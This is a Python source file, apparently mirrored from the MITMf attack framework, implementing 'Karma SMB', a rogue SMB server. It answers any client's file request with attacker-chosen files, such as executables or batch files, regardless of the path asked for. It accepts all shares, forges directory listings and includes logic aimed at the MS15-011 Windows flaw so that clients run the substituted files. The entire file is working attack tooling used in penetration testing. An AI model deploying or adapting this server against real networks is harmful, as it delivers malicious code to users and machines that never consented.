mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-05 20:42:20 -07:00
DHCP poisoning now works on Windows, additionaly it's been optimized for performance improvements ARP poisoning has been optimized with and internal cache and some algo improvements cve-details-parser.py has been added to the utils/ directory to help adding exploits to the BrowserSniper config file I'm currently working on adding to the filepwn plugin all of the missing options that bdfproxy stand-alone has
579 lines
26 KiB
Python
Executable file
579 lines
26 KiB
Python
Executable file
#!/usr/bin/python
|
|
# Copyright (c) 2015 CORE Security Technologies
|
|
#
|
|
# This software is provided under under a slightly modified version
|
|
# of the Apache Software License. See the accompanying LICENSE file
|
|
# for more information.
|
|
#
|
|
# Karma SMB
|
|
#
|
|
# Author:
|
|
# Alberto Solino (@agsolino)
|
|
# Original idea by @mubix
|
|
#
|
|
# Description:
|
|
# The idea of this script is to answer any file read request
|
|
# with a set of predefined contents based on the extension
|
|
# asked, regardless of the sharename and/or path.
|
|
# When executing this script w/o a config file the pathname
|
|
# file contents will be sent for every request.
|
|
# If a config file is specified, format should be this way:
|
|
# <extension> = <pathname>
|
|
# for example:
|
|
# bat = /tmp/batchfile
|
|
# com = /tmp/comfile
|
|
# exe = /tmp/exefile
|
|
#
|
|
# The SMB2 support works with a caveat. If two different
|
|
# filenames at the same share are requested, the first
|
|
# one will work and the second one will not work if the request
|
|
# is performed right away. This seems related to the
|
|
# QUERY_DIRECTORY request, where we return the files available.
|
|
# In the first try, we return the file that was asked to open.
|
|
# In the second try, the client will NOT ask for another
|
|
# QUERY_DIRECTORY but will use the cached one. This time the new file
|
|
# is not there, so the client assumes it doesn't exist.
|
|
# After a few seconds, looks like the client cache is cleared and
|
|
# the operation works again. Further research is needed trying
|
|
# to avoid this from happening.
|
|
#
|
|
# SMB1 seems to be working fine on that scenario.
|
|
#
|
|
# ToDo:
|
|
# [ ] A lot of testing needed under different OSes.
|
|
# I'm still not sure how reliable this approach is.
|
|
# [ ] Add support for other SMB read commands. Right now just
|
|
# covering SMB_COM_NT_CREATE_ANDX
|
|
# [ ] Disable write request, now if the client tries to copy
|
|
# a file back to us, it will overwrite the files we're
|
|
# hosting. *CAREFUL!!!*
|
|
#
|
|
|
|
|
|
import sys
|
|
import os
|
|
import argparse
|
|
import logging
|
|
import ntpath
|
|
import ConfigParser
|
|
from threading import Thread
|
|
|
|
from mitmflib.impacket.examples import logger
|
|
from mitmflib.impacket import smbserver, smb, version
|
|
import mitmflib.impacket.smb3structs as smb2
|
|
from mitmflib.impacket.smb import FILE_OVERWRITE, FILE_OVERWRITE_IF, FILE_WRITE_DATA, FILE_APPEND_DATA, GENERIC_WRITE
|
|
from mitmflib.impacket.nt_errors import STATUS_USER_SESSION_DELETED, STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_NO_MORE_FILES, \
|
|
STATUS_OBJECT_PATH_NOT_FOUND
|
|
from mitmflib.impacket.smbserver import SRVSServer, decodeSMBString, findFirst2, STATUS_SMB_BAD_TID, encodeSMBString, \
|
|
getFileTime, queryPathInformation
|
|
|
|
|
|
class KarmaSMBServer(Thread):
|
|
def __init__(self, smb_challenge, smb_port, smb2Support = False):
|
|
Thread.__init__(self)
|
|
self.server = 0
|
|
self.defaultFile = None
|
|
self.extensions = {}
|
|
|
|
# Here we write a mini config for the server
|
|
smbConfig = ConfigParser.ConfigParser()
|
|
smbConfig.add_section('global')
|
|
smbConfig.set('global','server_name','server_name')
|
|
smbConfig.set('global','server_os','UNIX')
|
|
smbConfig.set('global','server_domain','WORKGROUP')
|
|
smbConfig.set('global', 'challenge', smb_challenge.decode('hex'))
|
|
smbConfig.set('global','log_file','smb.log')
|
|
smbConfig.set('global','credentials_file','')
|
|
|
|
# IPC always needed
|
|
smbConfig.add_section('IPC$')
|
|
smbConfig.set('IPC$','comment','Logon server share')
|
|
smbConfig.set('IPC$','read only','yes')
|
|
smbConfig.set('IPC$','share type','3')
|
|
smbConfig.set('IPC$','path','')
|
|
|
|
# NETLOGON always needed
|
|
smbConfig.add_section('NETLOGON')
|
|
smbConfig.set('NETLOGON','comment','Logon server share')
|
|
smbConfig.set('NETLOGON','read only','no')
|
|
smbConfig.set('NETLOGON','share type','0')
|
|
smbConfig.set('NETLOGON','path','')
|
|
|
|
# SYSVOL always needed
|
|
smbConfig.add_section('SYSVOL')
|
|
smbConfig.set('SYSVOL','comment','')
|
|
smbConfig.set('SYSVOL','read only','no')
|
|
smbConfig.set('SYSVOL','share type','0')
|
|
smbConfig.set('SYSVOL','path','')
|
|
|
|
if smb2Support:
|
|
smbConfig.set("global", "SMB2Support", "True")
|
|
|
|
self.server = smbserver.SMBSERVER(('0.0.0.0', int(smb_port)), config_parser = smbConfig)
|
|
self.server.processConfigFile()
|
|
|
|
# Unregistering some dangerous and unwanted commands
|
|
self.server.unregisterSmbCommand(smb.SMB.SMB_COM_CREATE_DIRECTORY)
|
|
self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE_DIRECTORY)
|
|
self.server.unregisterSmbCommand(smb.SMB.SMB_COM_RENAME)
|
|
self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE)
|
|
self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE)
|
|
self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE_ANDX)
|
|
|
|
self.server.unregisterSmb2Command(smb2.SMB2_WRITE)
|
|
|
|
self.origsmbComNtCreateAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX, self.smbComNtCreateAndX)
|
|
self.origsmbComTreeConnectAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX, self.smbComTreeConnectAndX)
|
|
self.origQueryPathInformation = self.server.hookTransaction2(smb.SMB.TRANS2_QUERY_PATH_INFORMATION, self.queryPathInformation)
|
|
self.origFindFirst2 = self.server.hookTransaction2(smb.SMB.TRANS2_FIND_FIRST2, self.findFirst2)
|
|
|
|
# And the same for SMB2
|
|
self.origsmb2TreeConnect = self.server.hookSmb2Command(smb2.SMB2_TREE_CONNECT, self.smb2TreeConnect)
|
|
self.origsmb2Create = self.server.hookSmb2Command(smb2.SMB2_CREATE, self.smb2Create)
|
|
self.origsmb2QueryDirectory = self.server.hookSmb2Command(smb2.SMB2_QUERY_DIRECTORY, self.smb2QueryDirectory)
|
|
self.origsmb2Read = self.server.hookSmb2Command(smb2.SMB2_READ, self.smb2Read)
|
|
self.origsmb2Close = self.server.hookSmb2Command(smb2.SMB2_CLOSE, self.smb2Close)
|
|
|
|
# Now we have to register the MS-SRVS server. This specially important for
|
|
# Windows 7+ and Mavericks clients since they WONT (specially OSX)
|
|
# ask for shares using MS-RAP.
|
|
|
|
self.__srvsServer = SRVSServer()
|
|
self.__srvsServer.daemon = True
|
|
self.server.registerNamedPipe('srvsvc',('127.0.0.1',self.__srvsServer.getListenPort()))
|
|
|
|
def findFirst2(self, connId, smbServer, recvPacket, parameters, data, maxDataCount):
|
|
connData = smbServer.getConnectionData(connId)
|
|
|
|
respSetup = ''
|
|
respParameters = ''
|
|
respData = ''
|
|
findFirst2Parameters = smb.SMBFindFirst2_Parameters( recvPacket['Flags2'], data = parameters)
|
|
|
|
# 1. Let's grab the extension and map the file's contents we will deliver
|
|
origPathName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],findFirst2Parameters['FileName']).replace('\\','/'))
|
|
origFileName = os.path.basename(origPathName)
|
|
|
|
_, origPathNameExtension = os.path.splitext(origPathName)
|
|
origPathNameExtension = origPathNameExtension.upper()[1:]
|
|
|
|
if self.extensions.has_key(origPathNameExtension.upper()):
|
|
targetFile = self.extensions[origPathNameExtension.upper()]
|
|
else:
|
|
targetFile = self.defaultFile
|
|
|
|
if connData['ConnectedShares'].has_key(recvPacket['Tid']):
|
|
path = connData['ConnectedShares'][recvPacket['Tid']]['path']
|
|
|
|
# 2. We call the normal findFirst2 call, but with our targetFile
|
|
searchResult, searchCount, errorCode = findFirst2(path,
|
|
targetFile,
|
|
findFirst2Parameters['InformationLevel'],
|
|
findFirst2Parameters['SearchAttributes'] )
|
|
|
|
respParameters = smb.SMBFindFirst2Response_Parameters()
|
|
endOfSearch = 1
|
|
sid = 0x80 # default SID
|
|
searchCount = 0
|
|
totalData = 0
|
|
for i in enumerate(searchResult):
|
|
#i[1].dump()
|
|
try:
|
|
# 3. And we restore the original filename requested ;)
|
|
i[1]['FileName'] = encodeSMBString( flags = recvPacket['Flags2'], text = origFileName)
|
|
except:
|
|
pass
|
|
|
|
data = i[1].getData()
|
|
lenData = len(data)
|
|
if (totalData+lenData) >= maxDataCount or (i[0]+1) > findFirst2Parameters['SearchCount']:
|
|
# We gotta stop here and continue on a find_next2
|
|
endOfSearch = 0
|
|
# Simple way to generate a fid
|
|
if len(connData['SIDs']) == 0:
|
|
sid = 1
|
|
else:
|
|
sid = connData['SIDs'].keys()[-1] + 1
|
|
# Store the remaining search results in the ConnData SID
|
|
connData['SIDs'][sid] = searchResult[i[0]:]
|
|
respParameters['LastNameOffset'] = totalData
|
|
break
|
|
else:
|
|
searchCount +=1
|
|
respData += data
|
|
totalData += lenData
|
|
|
|
|
|
respParameters['SID'] = sid
|
|
respParameters['EndOfSearch'] = endOfSearch
|
|
respParameters['SearchCount'] = searchCount
|
|
else:
|
|
errorCode = STATUS_SMB_BAD_TID
|
|
|
|
smbServer.setConnectionData(connId, connData)
|
|
|
|
return respSetup, respParameters, respData, errorCode
|
|
|
|
def smbComNtCreateAndX(self, connId, smbServer, SMBCommand, recvPacket):
|
|
connData = smbServer.getConnectionData(connId)
|
|
|
|
ntCreateAndXParameters = smb.SMBNtCreateAndX_Parameters(SMBCommand['Parameters'])
|
|
ntCreateAndXData = smb.SMBNtCreateAndX_Data( flags = recvPacket['Flags2'], data = SMBCommand['Data'])
|
|
|
|
respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX)
|
|
|
|
#ntCreateAndXParameters.dump()
|
|
|
|
# Let's try to avoid allowing write requests from the client back to us
|
|
# not 100% bulletproof, plus also the client might be using other SMB
|
|
# calls (e.g. SMB_COM_WRITE)
|
|
createOptions = ntCreateAndXParameters['CreateOptions']
|
|
if createOptions & smb.FILE_DELETE_ON_CLOSE == smb.FILE_DELETE_ON_CLOSE:
|
|
errorCode = STATUS_ACCESS_DENIED
|
|
elif ntCreateAndXParameters['Disposition'] & smb.FILE_OVERWRITE == FILE_OVERWRITE:
|
|
errorCode = STATUS_ACCESS_DENIED
|
|
elif ntCreateAndXParameters['Disposition'] & smb.FILE_OVERWRITE_IF == FILE_OVERWRITE_IF:
|
|
errorCode = STATUS_ACCESS_DENIED
|
|
elif ntCreateAndXParameters['AccessMask'] & smb.FILE_WRITE_DATA == FILE_WRITE_DATA:
|
|
errorCode = STATUS_ACCESS_DENIED
|
|
elif ntCreateAndXParameters['AccessMask'] & smb.FILE_APPEND_DATA == FILE_APPEND_DATA:
|
|
errorCode = STATUS_ACCESS_DENIED
|
|
elif ntCreateAndXParameters['AccessMask'] & smb.GENERIC_WRITE == GENERIC_WRITE:
|
|
errorCode = STATUS_ACCESS_DENIED
|
|
elif ntCreateAndXParameters['AccessMask'] & 0x10000 == 0x10000:
|
|
errorCode = STATUS_ACCESS_DENIED
|
|
else:
|
|
errorCode = STATUS_SUCCESS
|
|
|
|
if errorCode == STATUS_ACCESS_DENIED:
|
|
return [respSMBCommand], None, errorCode
|
|
|
|
# 1. Let's grab the extension and map the file's contents we will deliver
|
|
origPathName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],ntCreateAndXData['FileName']).replace('\\','/'))
|
|
|
|
_, origPathNameExtension = os.path.splitext(origPathName)
|
|
origPathNameExtension = origPathNameExtension.upper()[1:]
|
|
|
|
if self.extensions.has_key(origPathNameExtension.upper()):
|
|
targetFile = self.extensions[origPathNameExtension.upper()]
|
|
else:
|
|
targetFile = self.defaultFile
|
|
|
|
# 2. We change the filename in the request for our targetFile
|
|
ntCreateAndXData['FileName'] = encodeSMBString( flags = recvPacket['Flags2'], text = targetFile)
|
|
SMBCommand['Data'] = str(ntCreateAndXData)
|
|
smbServer.log("%s is asking for %s. Delivering %s" % (connData['ClientIP'], origPathName,targetFile),logging.INFO)
|
|
|
|
# 3. We call the original call with our modified data
|
|
return self.origsmbComNtCreateAndX(connId, smbServer, SMBCommand, recvPacket)
|
|
|
|
def queryPathInformation(self, connId, smbServer, recvPacket, parameters, data, maxDataCount = 0):
|
|
# The trick we play here is that Windows clients first ask for the file
|
|
# and then it asks for the directory containing the file.
|
|
# It is important to answer the right questions for the attack to work
|
|
|
|
connData = smbServer.getConnectionData(connId)
|
|
|
|
respSetup = ''
|
|
respParameters = ''
|
|
respData = ''
|
|
errorCode = 0
|
|
|
|
queryPathInfoParameters = smb.SMBQueryPathInformation_Parameters(flags = recvPacket['Flags2'], data = parameters)
|
|
|
|
if connData['ConnectedShares'].has_key(recvPacket['Tid']):
|
|
path = ''
|
|
try:
|
|
origPathName = decodeSMBString(recvPacket['Flags2'], queryPathInfoParameters['FileName'])
|
|
origPathName = os.path.normpath(origPathName.replace('\\','/'))
|
|
|
|
if connData.has_key('MS15011') is False:
|
|
connData['MS15011'] = {}
|
|
|
|
smbServer.log("Client is asking for QueryPathInformation for: %s" % origPathName,logging.INFO)
|
|
if connData['MS15011'].has_key(origPathName) or origPathName == '.':
|
|
# We already processed this entry, now it's asking for a directory
|
|
infoRecord, errorCode = queryPathInformation(path, '/', queryPathInfoParameters['InformationLevel'])
|
|
else:
|
|
# First time asked, asking for the file
|
|
infoRecord, errorCode = queryPathInformation(path, self.defaultFile, queryPathInfoParameters['InformationLevel'])
|
|
connData['MS15011'][os.path.dirname(origPathName)] = infoRecord
|
|
except Exception, e:
|
|
#import traceback
|
|
#traceback.print_exc()
|
|
smbServer.log("queryPathInformation: %s" % e,logging.ERROR)
|
|
|
|
if infoRecord is not None:
|
|
respParameters = smb.SMBQueryPathInformationResponse_Parameters()
|
|
respData = infoRecord
|
|
else:
|
|
errorCode = STATUS_SMB_BAD_TID
|
|
|
|
smbServer.setConnectionData(connId, connData)
|
|
|
|
return respSetup, respParameters, respData, errorCode
|
|
|
|
def smb2Read(self, connId, smbServer, recvPacket):
|
|
connData = smbServer.getConnectionData(connId)
|
|
connData['MS15011']['StopConnection'] = True
|
|
smbServer.setConnectionData(connId, connData)
|
|
return self.origsmb2Read(connId, smbServer, recvPacket)
|
|
|
|
def smb2Close(self, connId, smbServer, recvPacket):
|
|
connData = smbServer.getConnectionData(connId)
|
|
# We're closing the connection trying to flush the client's
|
|
# cache.
|
|
if connData['MS15011']['StopConnection'] is True:
|
|
return [smb2.SMB2Error()], None, STATUS_USER_SESSION_DELETED
|
|
return self.origsmb2Close(connId, smbServer, recvPacket)
|
|
|
|
def smb2Create(self, connId, smbServer, recvPacket):
|
|
connData = smbServer.getConnectionData(connId)
|
|
|
|
ntCreateRequest = smb2.SMB2Create(recvPacket['Data'])
|
|
|
|
# Let's try to avoid allowing write requests from the client back to us
|
|
# not 100% bulletproof, plus also the client might be using other SMB
|
|
# calls
|
|
createOptions = ntCreateRequest['CreateOptions']
|
|
if createOptions & smb2.FILE_DELETE_ON_CLOSE == smb2.FILE_DELETE_ON_CLOSE:
|
|
errorCode = STATUS_ACCESS_DENIED
|
|
elif ntCreateRequest['CreateDisposition'] & smb2.FILE_OVERWRITE == smb2.FILE_OVERWRITE:
|
|
errorCode = STATUS_ACCESS_DENIED
|
|
elif ntCreateRequest['CreateDisposition'] & smb2.FILE_OVERWRITE_IF == smb2.FILE_OVERWRITE_IF:
|
|
errorCode = STATUS_ACCESS_DENIED
|
|
elif ntCreateRequest['DesiredAccess'] & smb2.FILE_WRITE_DATA == smb2.FILE_WRITE_DATA:
|
|
errorCode = STATUS_ACCESS_DENIED
|
|
elif ntCreateRequest['DesiredAccess'] & smb2.FILE_APPEND_DATA == smb2.FILE_APPEND_DATA:
|
|
errorCode = STATUS_ACCESS_DENIED
|
|
elif ntCreateRequest['DesiredAccess'] & smb2.GENERIC_WRITE == smb2.GENERIC_WRITE:
|
|
errorCode = STATUS_ACCESS_DENIED
|
|
elif ntCreateRequest['DesiredAccess'] & 0x10000 == 0x10000:
|
|
errorCode = STATUS_ACCESS_DENIED
|
|
else:
|
|
errorCode = STATUS_SUCCESS
|
|
|
|
if errorCode == STATUS_ACCESS_DENIED:
|
|
return [smb2.SMB2Error()], None, errorCode
|
|
|
|
# 1. Let's grab the extension and map the file's contents we will deliver
|
|
origPathName = os.path.normpath(ntCreateRequest['Buffer'][:ntCreateRequest['NameLength']].decode('utf-16le').replace('\\','/'))
|
|
|
|
_, origPathNameExtension = os.path.splitext(origPathName)
|
|
origPathNameExtension = origPathNameExtension.upper()[1:]
|
|
|
|
# Are we being asked for a directory?
|
|
if (createOptions & smb2.FILE_DIRECTORY_FILE) == 0:
|
|
if self.extensions.has_key(origPathNameExtension.upper()):
|
|
targetFile = self.extensions[origPathNameExtension.upper()]
|
|
else:
|
|
targetFile = self.defaultFile
|
|
connData['MS15011']['FileData'] = (os.path.basename(origPathName), targetFile)
|
|
smbServer.log("%s is asking for %s. Delivering %s" % (connData['ClientIP'], origPathName,targetFile),logging.INFO)
|
|
else:
|
|
targetFile = '/'
|
|
|
|
# 2. We change the filename in the request for our targetFile
|
|
ntCreateRequest['Buffer'] = targetFile.encode('utf-16le')
|
|
ntCreateRequest['NameLength'] = len(targetFile)*2
|
|
recvPacket['Data'] = str(ntCreateRequest)
|
|
|
|
# 3. We call the original call with our modified data
|
|
return self.origsmb2Create(connId, smbServer, recvPacket)
|
|
|
|
def smb2QueryDirectory(self, connId, smbServer, recvPacket):
|
|
# Windows clients with SMB2 will also perform a QueryDirectory
|
|
# expecting to get the filename asked. So we deliver it :)
|
|
connData = smbServer.getConnectionData(connId)
|
|
|
|
respSMBCommand = smb2.SMB2QueryDirectory_Response()
|
|
#queryDirectoryRequest = smb2.SMB2QueryDirectory(recvPacket['Data'])
|
|
|
|
errorCode = 0xff
|
|
respSMBCommand['Buffer'] = '\x00'
|
|
|
|
errorCode = STATUS_SUCCESS
|
|
|
|
#if (queryDirectoryRequest['Flags'] & smb2.SL_RETURN_SINGLE_ENTRY) == 0:
|
|
# return [smb2.SMB2Error()], None, STATUS_NOT_SUPPORTED
|
|
|
|
if connData['MS15011']['FindDone'] is True:
|
|
|
|
connData['MS15011']['FindDone'] = False
|
|
smbServer.setConnectionData(connId, connData)
|
|
return [smb2.SMB2Error()], None, STATUS_NO_MORE_FILES
|
|
else:
|
|
origName, targetFile = connData['MS15011']['FileData']
|
|
(mode, ino, dev, nlink, uid, gid, size, atime, mtime, ctime) = os.stat(targetFile)
|
|
|
|
infoRecord = smb.SMBFindFileIdBothDirectoryInfo( smb.SMB.FLAGS2_UNICODE )
|
|
infoRecord['ExtFileAttributes'] = smb.ATTR_NORMAL | smb.ATTR_ARCHIVE
|
|
|
|
infoRecord['EaSize'] = 0
|
|
infoRecord['EndOfFile'] = size
|
|
infoRecord['AllocationSize'] = size
|
|
infoRecord['CreationTime'] = getFileTime(ctime)
|
|
infoRecord['LastAccessTime'] = getFileTime(atime)
|
|
infoRecord['LastWriteTime'] = getFileTime(mtime)
|
|
infoRecord['LastChangeTime'] = getFileTime(mtime)
|
|
infoRecord['ShortName'] = '\x00'*24
|
|
#infoRecord['FileName'] = os.path.basename(origName).encode('utf-16le')
|
|
infoRecord['FileName'] = origName.encode('utf-16le')
|
|
padLen = (8-(len(infoRecord) % 8)) % 8
|
|
infoRecord['NextEntryOffset'] = 0
|
|
|
|
respSMBCommand['OutputBufferOffset'] = 0x48
|
|
respSMBCommand['OutputBufferLength'] = len(infoRecord.getData())
|
|
respSMBCommand['Buffer'] = infoRecord.getData() + '\xaa'*padLen
|
|
connData['MS15011']['FindDone'] = True
|
|
|
|
smbServer.setConnectionData(connId, connData)
|
|
return [respSMBCommand], None, errorCode
|
|
|
|
def smb2TreeConnect(self, connId, smbServer, recvPacket):
|
|
connData = smbServer.getConnectionData(connId)
|
|
|
|
respPacket = smb2.SMB2Packet()
|
|
respPacket['Flags'] = smb2.SMB2_FLAGS_SERVER_TO_REDIR
|
|
respPacket['Status'] = STATUS_SUCCESS
|
|
respPacket['CreditRequestResponse'] = 1
|
|
respPacket['Command'] = recvPacket['Command']
|
|
respPacket['SessionID'] = connData['Uid']
|
|
respPacket['Reserved'] = recvPacket['Reserved']
|
|
respPacket['MessageID'] = recvPacket['MessageID']
|
|
respPacket['TreeID'] = recvPacket['TreeID']
|
|
|
|
respSMBCommand = smb2.SMB2TreeConnect_Response()
|
|
|
|
treeConnectRequest = smb2.SMB2TreeConnect(recvPacket['Data'])
|
|
|
|
errorCode = STATUS_SUCCESS
|
|
|
|
## Process here the request, does the share exist?
|
|
path = str(recvPacket)[treeConnectRequest['PathOffset']:][:treeConnectRequest['PathLength']]
|
|
UNCOrShare = path.decode('utf-16le')
|
|
|
|
# Is this a UNC?
|
|
if ntpath.ismount(UNCOrShare):
|
|
path = UNCOrShare.split('\\')[3]
|
|
else:
|
|
path = ntpath.basename(UNCOrShare)
|
|
|
|
# We won't search for the share.. all of them exist :P
|
|
#share = searchShare(connId, path.upper(), smbServer)
|
|
connData['MS15011'] = {}
|
|
connData['MS15011']['FindDone'] = False
|
|
connData['MS15011']['StopConnection'] = False
|
|
share = {}
|
|
if share is not None:
|
|
# Simple way to generate a Tid
|
|
if len(connData['ConnectedShares']) == 0:
|
|
tid = 1
|
|
else:
|
|
tid = connData['ConnectedShares'].keys()[-1] + 1
|
|
connData['ConnectedShares'][tid] = share
|
|
connData['ConnectedShares'][tid]['path'] = '/'
|
|
connData['ConnectedShares'][tid]['shareName'] = path
|
|
respPacket['TreeID'] = tid
|
|
#smbServer.log("Connecting Share(%d:%s)" % (tid,path))
|
|
else:
|
|
smbServer.log("SMB2_TREE_CONNECT not found %s" % path, logging.ERROR)
|
|
errorCode = STATUS_OBJECT_PATH_NOT_FOUND
|
|
respPacket['Status'] = errorCode
|
|
##
|
|
|
|
if path == 'IPC$':
|
|
respSMBCommand['ShareType'] = smb2.SMB2_SHARE_TYPE_PIPE
|
|
respSMBCommand['ShareFlags'] = 0x30
|
|
else:
|
|
respSMBCommand['ShareType'] = smb2.SMB2_SHARE_TYPE_DISK
|
|
respSMBCommand['ShareFlags'] = 0x0
|
|
|
|
respSMBCommand['Capabilities'] = 0
|
|
respSMBCommand['MaximalAccess'] = 0x011f01ff
|
|
|
|
respPacket['Data'] = respSMBCommand
|
|
|
|
smbServer.setConnectionData(connId, connData)
|
|
|
|
return None, [respPacket], errorCode
|
|
|
|
def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket):
|
|
connData = smbServer.getConnectionData(connId)
|
|
|
|
resp = smb.NewSMBPacket()
|
|
resp['Flags1'] = smb.SMB.FLAGS1_REPLY
|
|
resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | recvPacket['Flags2'] & smb.SMB.FLAGS2_UNICODE
|
|
|
|
resp['Tid'] = recvPacket['Tid']
|
|
resp['Mid'] = recvPacket['Mid']
|
|
resp['Pid'] = connData['Pid']
|
|
|
|
respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX)
|
|
respParameters = smb.SMBTreeConnectAndXResponse_Parameters()
|
|
respData = smb.SMBTreeConnectAndXResponse_Data()
|
|
|
|
treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters(SMBCommand['Parameters'])
|
|
|
|
if treeConnectAndXParameters['Flags'] & 0x8:
|
|
respParameters = smb.SMBTreeConnectAndXExtendedResponse_Parameters()
|
|
|
|
treeConnectAndXData = smb.SMBTreeConnectAndX_Data( flags = recvPacket['Flags2'] )
|
|
treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters['PasswordLength']
|
|
treeConnectAndXData.fromString(SMBCommand['Data'])
|
|
|
|
errorCode = STATUS_SUCCESS
|
|
|
|
UNCOrShare = decodeSMBString(recvPacket['Flags2'], treeConnectAndXData['Path'])
|
|
|
|
# Is this a UNC?
|
|
if ntpath.ismount(UNCOrShare):
|
|
path = UNCOrShare.split('\\')[3]
|
|
else:
|
|
path = ntpath.basename(UNCOrShare)
|
|
|
|
# We won't search for the share.. all of them exist :P
|
|
smbServer.log("TreeConnectAndX request for %s" % path, logging.INFO)
|
|
#share = searchShare(connId, path, smbServer)
|
|
share = {}
|
|
# Simple way to generate a Tid
|
|
if len(connData['ConnectedShares']) == 0:
|
|
tid = 1
|
|
else:
|
|
tid = connData['ConnectedShares'].keys()[-1] + 1
|
|
connData['ConnectedShares'][tid] = share
|
|
connData['ConnectedShares'][tid]['path'] = '/'
|
|
connData['ConnectedShares'][tid]['shareName'] = path
|
|
resp['Tid'] = tid
|
|
#smbServer.log("Connecting Share(%d:%s)" % (tid,path))
|
|
|
|
respParameters['OptionalSupport'] = smb.SMB.SMB_SUPPORT_SEARCH_BITS
|
|
|
|
if path == 'IPC$':
|
|
respData['Service'] = 'IPC'
|
|
else:
|
|
respData['Service'] = path
|
|
respData['PadLen'] = 0
|
|
respData['NativeFileSystem'] = encodeSMBString(recvPacket['Flags2'], 'NTFS' )
|
|
|
|
respSMBCommand['Parameters'] = respParameters
|
|
respSMBCommand['Data'] = respData
|
|
|
|
resp['Uid'] = connData['Uid']
|
|
resp.addCommand(respSMBCommand)
|
|
smbServer.setConnectionData(connId, connData)
|
|
|
|
return None, [resp], errorCode
|
|
|
|
def start(self):
|
|
self.server.serve_forever()
|
|
|
|
def setDefaultFile(self, filename):
|
|
self.defaultFile = filename
|
|
|
|
def setExtensionsConfig(self, filename):
|
|
for line in filename.readlines():
|
|
line = line.strip('\r\n ')
|
|
if line.startswith('#') is not True and len(line) > 0:
|
|
extension, pathName = line.split('=')
|
|
self.extensions[extension.strip().upper()] = os.path.normpath(pathName.strip())
|